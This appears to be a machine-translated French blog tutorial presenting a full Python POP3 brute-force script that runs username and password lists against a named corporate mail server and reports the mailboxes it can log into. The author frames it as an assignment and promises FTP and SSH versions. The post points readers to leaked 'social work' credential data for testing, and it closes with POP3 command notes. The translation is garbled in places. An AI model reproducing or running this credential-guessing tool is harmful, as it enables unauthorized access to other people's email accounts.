Maison  >  Article  >  développement back-end  >  Python crée un script de dynamitage pour les boîtes aux lettres d'entreprise

Python crée un script de dynamitage pour les boîtes aux lettres d'entreprise

高洛峰
高洛峰original
2017-02-06 14:00:262010parcourir

Selon la tâche confiée par le maître, j'ai écrit un script de dynamitage d'e-mails d'entreprise, suivi de FTP, SSH et d'autres scripts de dynamitage.

Permettez-moi d'abord de parler de l'idée générale :

L'idée générale est d'utiliser le module poplib de python pour interagir avec le serveur pop3 et générer des résultats basés sur les informations pertinentes obtenues. Le protocole POP3 n'est pas compliqué. Il utilise également une méthode de questions-réponses. Vous envoyez une commande au serveur, et le serveur répondra certainement par un message.

1. correct

Sys.argv[] est utilisé pour obtenir les paramètres de ligne de commande. sys.argv[0] représente le chemin du fichier du code lui-même, donc les paramètres commencent à 1

. 2. Lisez ensuite le fichier de mot de passe utilisateur Obtenez des informations
3.pop.getwelcome() est utilisé pour obtenir l'état de réponse du serveur de connexion
4 Vient ensuite la partie code principale du script

<.>
server = "pop.qiye.163.com" //设置pop3服务器地址
pop = poplib.POP3(server,110) //连接pop3服务器
pop.user(user) //验证用户名
auth = pop.pass_(passwd) //验证密码
if auth.split(&#39; &#39;)[0]== "+OK": //判断响应的结果是否“OK”
 pring user,passwd
5. Enfin, affichez les informations utilisateur pertinentes

Le code du script est le suivant :

#!/usr/bin/python
# -*- coding: UTF-8 -*-
&#39;&#39;&#39;
@Author:joy_nick
@博客:http://byd.dropsec.xyz/
@Email Pop3 Brute Forcer
&#39;&#39;&#39;
 
import threading, time, random, sys, poplib
from copy import copy
 
if len(sys.argv) !=3:
 print "\t --------------------------------------------------\n"
 print "\t Usage: ./Emailpopbrute.py <userlist> <passlist>\n"
 sys.exit(1)
 
server = "pop.qiye.163.com"
success = []
 
try:
 users = open(sys.argv[1], "r").readlines()
except(IOError):
 print "[-] Error: urerlist打开失败!\n"
 sys.exit(1)
 
try:
 words = open(sys.argv[2], "r").readlines()
except(IOError):
 print "[-] Error: passlist打开失败!\n"
 sys.exit(1)
try:
 pop = poplib.POP3(server,110)
 welcome = pop.getwelcome()
 print welcome
 pop.quit()
except (poplib.error_proto):
 welcome = "No Response"
 pass
 
def mailbruteforce(listuser,listpwd):
 if len(listuser) < 1 or len(listpwd) < 1 :
 print "An error occurred: No user or pass list"
 return 1
 for user in listuser:
 for value in listpwd :
 user = user.replace("\n","")
 value = value.replace("\n","")
 try:
 print "-"*12
 print "[+] User:",user,"Password:",value
 time.sleep(1)
 pop = poplib.POP3(server,110)
 pop.user(user)
 auth = pop.pass_(value)
 print auth
 if auth.split(&#39; &#39;)[0]!= "+OK" :
 pop.quit()
 print "unknown error !"
 continue
 if pop.stat()[1] is None or pop.stat()[1] < 1 :
 pop.quit()
 print "获取信息失败!"
 continue
 ret = (user,value,pop.stat()[0],pop.stat()[1])
 success.append(ret)
 pop.quit()
 break
 except:
 #print "An error occurred:", msg
 pass
print "\t --------------------------------------------------\n"
print "[+] Server:",server
print "[+] Port: 995"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+] Server response:",welcome,"\n"
mailbruteforce(users,words)
 
print "\t[+] have weakpass :\t",len(success)
if len(success) >=1:
 for ret in success:
 print "\n\n[+] Login successful:",ret[0], ret[1]
 print "\t[+] Mail:",ret[2],"emails"
 print "\t[+] Size:",ret[3],"bytes\n"
print "\n[-] Done"
Résultat du test :

Python crée un script de dynamitage pour les boîtes aux lettres dentreprise

Explication :

Le fichier du dictionnaire utilisateur nécessite @ domain.com, similaire à zhangsan@domain.com, lisi@domain.com, wangwu@domain.com. Comme je n'ai pas de compte de messagerie ni de mot de passe d'entreprise, je ne l'ai pas testé avec succès. Si vous êtes intéressé, vous pouvez rechercher des pantalons de travail social pertinents.

Pièce jointe :

Quelle est la différence entre os._exit(), sys.exit() et exit() en python ?

sys.exit(n) quitte le programme et déclenche une exception SystemExit, qui peut être interceptée pour effectuer un travail de nettoyage. La valeur par défaut de n est 0, indiquant une sortie normale. cette exception n'est pas interceptée, elle sera directement sortie ; l'interception de cette exception peut effectuer un travail de nettoyage supplémentaire. Généralement, cette sortie

os._exit(n) est utilisée dans le programme principal pour quitter directement l'interpréteur Python. Le code suivant ne sera pas exécuté, aucune exception ne sera levée et aucun travail de nettoyage associé ne sera effectué. effectué. Il est souvent utilisé pour la sortie des processus enfants.

exit() devrait être le même que exit() dans d'autres langages tels que le langage C


Le Le processus de réception d'e-mails dans pop3 est généralement :

Connectez-vous au serveur pop3 (poplib.POP3.__init__)

Envoyez le nom d'utilisateur et le mot de passe pour vérification (poplib.POP3.user poplib.POP3.pass_ )

Obtenir les informations de courrier dans la boîte aux lettres (poplib.POP3.stat)

Recevoir le courrier (poplib.POP3.retr)

Supprimer le courrier (poplib.POP3.dele)

Quitter (poplib.POP3.quit)


Description de l'état du paramètre de la méthode poplib de la commande

------------------ -------------- -------------------------- ------------------------ ------
USER user username approuve le nom d'utilisateur si cette commande et la commande pass suivante sont. réussi, cela provoquera une transition d'état
PASS pass_ password approuve le mot de passe de l'utilisateur
APOP apop Name, Digest approuve le Digest est un résumé du message MD5
--------------- ----------------------------------- --------------- ----------------------------------- -
STAT stat Aucun Traite le serveur de requêtes pour renvoyer les statistiques à propos de la boîte aux lettres, comme le nombre total d'e-mails et le nombre total d'octets
UIDL uidl [Msg#] Traite l'identifiant unique de l'e-mail renvoyé, chaque identifiant de la session POP3 sera unique
LISTE liste [Msg#] gère le retour du nombre de messages et la taille de chaque message
RETR retr [Msg#] gère le retour du texte intégral du message identifié par le paramètre
DELE dele [Msg #] Le serveur de traitement marquera le mail identifié par le paramètre comme supprimé, exécuté par la commande quit
RSET rset None Le serveur de traitement réinitialisera tous les mails marqués pour suppression, utilisé pour annuler la commande DELE
TOP top [Msg#] traitement Le serveur renverra le n premières lignes de l'e-mail identifié par le paramètre. n doit être un entier positif
NOOP noop Aucun. Le serveur de traitement renvoie une réponse positive

Pour plus d'articles liés au script de dynamitage de Python pour créer des boîtes aux lettres d'entreprise, veuillez faire attention au site Web chinois PHP !

Déclaration:
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn